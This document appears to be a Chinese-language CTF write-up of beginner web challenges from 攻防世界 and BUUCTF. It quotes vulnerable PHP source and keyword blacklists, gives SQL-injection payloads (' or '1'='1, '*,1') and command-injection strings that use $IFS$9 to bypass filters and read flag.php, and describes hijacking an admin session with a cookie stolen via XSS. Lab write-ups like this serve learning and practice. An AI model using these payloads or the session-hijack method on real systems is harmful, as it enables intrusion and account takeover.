CTF
攻防世界
WEB(新手练习区)
get_post
第一问,关于get,在url后面补充输入"?a=1"即可以get的形式上传参数
第二问,关于post,可以考虑使用HackBar中的POST功能来辅助完成b=2的参数上传。
用?拼接的方式可以以get的方式上传参数,用HackBar等可以实现post的参数上传。
BUUCTF
Basic
BUU XSS COURSE 1
打开网页发现有吐槽和登陆两个页面
登陆页面无法使用,但是吐槽页面在输入内容后访问对应的网址可以看到输入的内容
由于现在的平台已经可以支持访问外网,于是使用自己搭建的xss平台项目,输入到吐槽页面然后访问对应的页面
之后即可在xss平台的后台看到对应的记录,这里有用的内容是cookie和HTTP_REFERER,如图所示:
然后在对应的靶机域名后加入/backend/admin.php,按图中的cookie修改对应的cookie字段,即可伪装成管理员登陆到后台管理页面,成功获取flag
Web
[SUCTF2019]EasySQL
- 后端源码:
<?php
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
<?php
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
- payload:*,1
[极客大挑战 2019]EasySQL
- 用户名和密码均输入1时,正常回显,提示用户名或密码错误。
- 尝试在1后面添加单引号,发现报错,说明存在字符型注入。
- 于是尝试使用一些万能公式:
1 and 1=1
1' and '1'='1
1 or 1=1
1' or '1'='1
最后一个payload可以实现成功SQL注入,于是:
# payload
SELECT * FROM tables WHERE username='1' or '1'='1' and password='1' or '1'='1'
# 优先级排序:and 优先级高于 or,所以要计算 and 然后再计算 or
username='1'--->false
'1'='1'---> true
passwrod='1'--->false
'1'='1'--->true
false or (true and false) or true
false or false or true
false or true
#得出结果:true
# payload1
# 用户名:1' and '1'='1
# 密码:1' or '1'='1
# payload2
# 用户名:1' and '1'='2
# 密码:1' or '1'='1
# 本质上都是利用 and 和 or 的优先级进行判断,只要返回 TRUE 就没问题
[GXYCTF2019]Ping Ping Ping
- 根据提示输入 /?ip=127.0.0.1 来进行测试,同时加入分号ls尝试堆叠注入,发现目录下存在flag.php以及index.php文件
- 采用cat命令尝试获取flag.php发现会对空格进行过滤,于是使用 $IFS$9 绕过空格过滤,发现flag这几个字符也被过滤了
- 于是转而查看网页的index.php源码如下:
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
于是尝试使用如下payload进行绕过:
# payload 1
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
# payload 2
?ip=127.0.0.1;cat$IFS$1`ls`
注:flag在F12的中查看,被注释掉了。
[极客大挑战 2019]Secret File
注:最后要记得进行base64解码。